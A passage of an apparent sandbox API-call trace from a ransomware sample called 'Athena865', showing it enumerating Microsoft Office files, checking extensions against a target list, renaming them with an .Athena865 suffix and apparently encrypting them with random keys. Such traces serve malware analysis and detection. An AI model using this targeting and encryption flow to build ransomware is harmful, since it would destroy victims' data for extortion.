2 [0073.654] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0073.654] lstrlenW (lpString="idb") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0073.654] lstrlenW (lpString="ihx") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0073.654] lstrlenW (lpString="itdb") returned 4 [0073.654] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0073.654] lstrlenW (lpString="itw") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0073.654] lstrlenW (lpString="jet") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0073.654] lstrlenW (lpString="jtx") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0073.654] lstrlenW (lpString="kdb") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0073.654] lstrlenW (lpString="kexi") returned 4 [0073.654] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0073.654] lstrlenW (lpString="kexic") returned 5 [0073.654] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0073.654] lstrlenW (lpString="kexis") returned 5 [0073.654] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0073.654] lstrlenW (lpString="lgc") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0073.654] lstrlenW (lpString="lwx") returned 3 [0073.654] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0073.654] lstrlenW (lpString="maf") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0073.655] lstrlenW (lpString="maq") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0073.655] lstrlenW (lpString="mar") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0073.655] lstrlenW (lpString="marshal") returned 7 [0073.655] lstrcmpiW (lpString1="TOR.DLL", lpString2="marshal") returned 1 [0073.655] lstrlenW (lpString="mas") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0073.655] lstrlenW (lpString="mav") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0073.655] lstrlenW (lpString="maw") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0073.655] lstrlenW (lpString="mdbhtml") returned 7 [0073.655] lstrcmpiW (lpString1="TOR.DLL", lpString2="mdbhtml") returned 1 [0073.655] lstrlenW (lpString="mdn") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0073.655] lstrlenW (lpString="mdt") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0073.655] lstrlenW (lpString="mfd") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0073.655] lstrlenW (lpString="mpd") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0073.655] lstrlenW (lpString="mrg") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0073.655] lstrlenW (lpString="mud") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0073.655] lstrlenW (lpString="mwb") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0073.655] lstrlenW (lpString="myd") returned 3 [0073.655] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0073.655] lstrlenW (lpString="ndf") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0073.656] lstrlenW (lpString="nnt") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0073.656] lstrlenW (lpString="nrmlib") returned 6 [0073.656] lstrcmpiW (lpString1="OR.DLL", lpString2="nrmlib") returned 1 [0073.656] lstrlenW (lpString="ns2") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0073.656] lstrlenW (lpString="ns3") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0073.656] lstrlenW (lpString="ns4") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0073.656] lstrlenW (lpString="nsf") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0073.656] lstrlenW (lpString="nv") returned 2 [0073.656] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0073.656] lstrlenW (lpString="nv2") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0073.656] lstrlenW (lpString="nwdb") returned 4 [0073.656] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0073.656] lstrlenW (lpString="nyf") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0073.656] lstrlenW (lpString="odb") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0073.656] lstrlenW (lpString="odb") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0073.656] lstrlenW (lpString="oqy") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0073.656] lstrlenW (lpString="ora") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0073.656] lstrlenW (lpString="orx") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0073.656] lstrlenW (lpString="owc") returned 3 [0073.656] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0073.657] lstrlenW (lpString="p96") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0073.657] lstrlenW (lpString="p97") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0073.657] lstrlenW (lpString="pan") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0073.657] lstrlenW (lpString="pdb") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0073.657] lstrlenW (lpString="pdm") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0073.657] lstrlenW (lpString="pnz") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0073.657] lstrlenW (lpString="qry") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0073.657] lstrlenW (lpString="qvd") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0073.657] lstrlenW (lpString="rbf") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0073.657] lstrlenW (lpString="rctd") returned 4 [0073.657] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0073.657] lstrlenW (lpString="rod") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0073.657] lstrlenW (lpString="rodx") returned 4 [0073.657] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0073.657] lstrlenW (lpString="rpd") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0073.657] lstrlenW (lpString="rsd") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0073.657] lstrlenW (lpString="sas7bdat") returned 8 [0073.657] lstrcmpiW (lpString1="ITOR.DLL", lpString2="sas7bdat") returned -1 [0073.657] lstrlenW (lpString="sbf") returned 3 [0073.657] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0073.658] lstrlenW (lpString="scx") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0073.658] lstrlenW (lpString="sdb") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0073.658] lstrlenW (lpString="sdc") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0073.658] lstrlenW (lpString="sdf") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0073.658] lstrlenW (lpString="sis") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0073.658] lstrlenW (lpString="spq") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0073.658] lstrlenW (lpString="te") returned 2 [0073.658] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0073.658] lstrlenW (lpString="teacher") returned 7 [0073.658] lstrcmpiW (lpString1="TOR.DLL", lpString2="teacher") returned 1 [0073.658] lstrlenW (lpString="tmd") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0073.658] lstrlenW (lpString="tps") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0073.658] lstrlenW (lpString="trc") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0073.658] lstrlenW (lpString="trc") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0073.658] lstrlenW (lpString="trm") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0073.658] lstrlenW (lpString="udb") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0073.658] lstrlenW (lpString="udl") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0073.658] lstrlenW (lpString="usr") returned 3 [0073.658] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0073.659] lstrlenW (lpString="v12") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0073.659] lstrlenW (lpString="vis") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0073.659] lstrlenW (lpString="vpd") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0073.659] lstrlenW (lpString="vvv") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0073.659] lstrlenW (lpString="wdb") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0073.659] lstrlenW (lpString="wmdb") returned 4 [0073.659] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0073.659] lstrlenW (lpString="wrk") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0073.659] lstrlenW (lpString="xdb") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0073.659] lstrlenW (lpString="xld") returned 3 [0073.659] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0073.659] lstrlenW (lpString="xmlff") returned 5 [0073.659] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0073.659] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL.Athena865") returned 65 [0073.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll.athena865"), dwFlags=0x1) returned 1 [0073.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.661] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9063792) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.662] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.662] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.662] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.663] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a5070, lpName=0x0) returned 0x17c [0073.664] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0xa5070) returned 0x2d50000 [0073.691] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0073.768] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0073.786] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.787] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.787] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.787] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0073.796] CloseHandle (hObject=0x17c) returned 1 [0073.796] CloseHandle (hObject=0x154) returned 1 [0073.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.805] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2=".") returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="..") returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="windows") returned -1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="bootmgr") returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="temp") returned -1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="pagefile.sys") returned -1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="boot") returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="ids.txt") returned 1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="ntuser.dat") returned -1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="perflogs") returned -1 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2="MSBuild") returned -1 [0073.805] lstrlenW (lpString="IPIRM.XML") returned 9 [0073.805] lstrcpyW (in: lpString1=0x241e89e, lpString2="IPIRM.XML" | out: lpString1="IPIRM.XML") returned="IPIRM.XML" [0073.805] lstrlenW (lpString="IPIRM.XML") returned 9 [0073.805] lstrlenW (lpString="Athena865") returned 9 [0073.805] lstrlenW (lpString=".dll") returned 4 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2=".dll") returned 1 [0073.805] lstrlenW (lpString=".lnk") returned 4 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2=".lnk") returned 1 [0073.805] lstrlenW (lpString=".ini") returned 4 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2=".ini") returned 1 [0073.805] lstrlenW (lpString=".sys") returned 4 [0073.805] lstrcmpiW (lpString1="IPIRM.XML", lpString2=".sys") returned 1 [0073.805] lstrlenW (lpString="IPIRM.XML") returned 9 [0073.805] lstrlenW (lpString="bak") returned 3 [0073.805] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0073.805] lstrlenW (lpString="ba_") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0073.806] lstrlenW (lpString="dbb") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0073.806] lstrlenW (lpString="vmdk") returned 4 [0073.806] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0073.806] lstrlenW (lpString="rar") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0073.806] lstrlenW (lpString="zip") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0073.806] lstrlenW (lpString="tgz") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0073.806] lstrlenW (lpString="vbox") returned 4 [0073.806] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0073.806] lstrlenW (lpString="vdi") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1 [0073.806] lstrlenW (lpString="vhd") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1 [0073.806] lstrlenW (lpString="vhdx") returned 4 [0073.806] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1 [0073.806] lstrlenW (lpString="avhd") returned 4 [0073.806] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1 [0073.806] lstrlenW (lpString="db") returned 2 [0073.806] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0073.806] lstrlenW (lpString="db2") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0073.806] lstrlenW (lpString="db3") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0073.806] lstrlenW (lpString="dbf") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0073.806] lstrlenW (lpString="mdf") returned 3 [0073.806] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0073.806] lstrlenW (lpString="mdb") returned 3 [0073.807] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0073.807] lstrlenW (lpString="sql") returned 3 [0073.807] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0073.807] lstrlenW (lpString="sqlite") returned 6 [0073.807] lstrcmpiW (lpString1="RM.XML", lpString2="sqlite") returned -1 [0073.807] lstrlenW (lpString="sqlite3") returned 7 [0073.807] lstrcmpiW (lpString1="IRM.XML", lpString2="sqlite3") returned -1 [0073.807] lstrlenW (lpString="sqlitedb") returned 8 [0073.807] lstrcmpiW (lpString1="PIRM.XML", lpString2="sqlitedb") returned -1 [0073.807] lstrlenW (lpString="xml") returned 3 [0073.807] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0073.807] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.Athena865") returned 62 [0073.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.athena865"), dwFlags=0x1) returned 1 [0073.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0073.808] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79708) returned 1 [0073.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0073.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0073.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0073.809] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0073.809] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0073.809] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.810] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a60, lpName=0x0) returned 0x17c [0073.811] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a60) returned 0x100000 [0073.815] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0073.816] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0073.816] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0073.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0073.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0073.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0073.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0073.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0073.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0073.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0073.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0073.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0073.817] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0073.817] CloseHandle (hObject=0x17c) returned 1 [0073.817] CloseHandle (hObject=0x154) returned 1 [0073.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0073.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0073.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0073.818] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2=".") returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="..") returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="windows") returned -1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="bootmgr") returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="temp") returned -1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="pagefile.sys") returned -1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="boot") returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="ids.txt") returned 1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="ntuser.dat") returned -1 [0073.818] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="perflogs") returned -1 [0073.819] lstrcmpiW (lpString1="IPIRMV.XML", lpString2="MSBuild") returned -1 [0073.819] lstrlenW (lpString="IPIRMV.XML") returned 10 [0073.819] lstrcpyW (in: lpString1=0x241e89e, lpString2="IPIRMV.XML" | out: lpString1="IPIRMV.XML") returned="IPIRMV.XML" [0073.819] lstrlenW (lpString="IPIRMV.XML") returned 10 [0073.819] lstrlenW (lpString="Athena865") returned 9 [0073.819] lstrcmpiW (lpString1="PIRMV.XML", lpString2="Athena865") returned 1 [0073.819] lstrlenW (lpString=".dll") returned 4 [0073.819] lstrcmpiW (lpString1="IPIRMV.XML", lpString2=".dll") returned 1 [0073.819] lstrlenW (lpString=".lnk") returned 4 [0073.819] lstrcmpiW (lpString1="IPIRMV.XML", lpString2=".lnk") returned 1 [0073.819] lstrlenW (lpString=".ini") returned 4 [0073.819] lstrcmpiW (lpString1="IPIRMV.XML", lpString2=".ini") returned 1 [0073.819] lstrlenW (lpString=".sys") returned 4 [0073.819] lstrcmpiW (lpString1="IPIRMV.XML", lpString2=".sys") returned 1 [0073.819] lstrlenW (lpString="IPIRMV.XML") returned 10 [0073.819] lstrlenW (lpString="bak") returned 3 [0073.819] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1 [0073.819] lstrlenW (lpString="ba_") returned 3 [0073.819] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1 [0073.819] lstrlenW (lpString="dbb") returned 3 [0073.819] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1 [0073.819] lstrlenW (lpString="vmdk") returned 4 [0073.819] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1 [0073.819] lstrlenW (lpString="rar") returned 3 [0073.819] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1 [0073.819] lstrlenW (lpString="zip") returned 3 [0073.819] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1 [0073.819] lstrlenW (lpString="tgz") returned 3 [0073.819] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1 [0073.819] lstrlenW (lpString="vbox") returned 4 [0073.819] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1 [0073.819] lstrlenW 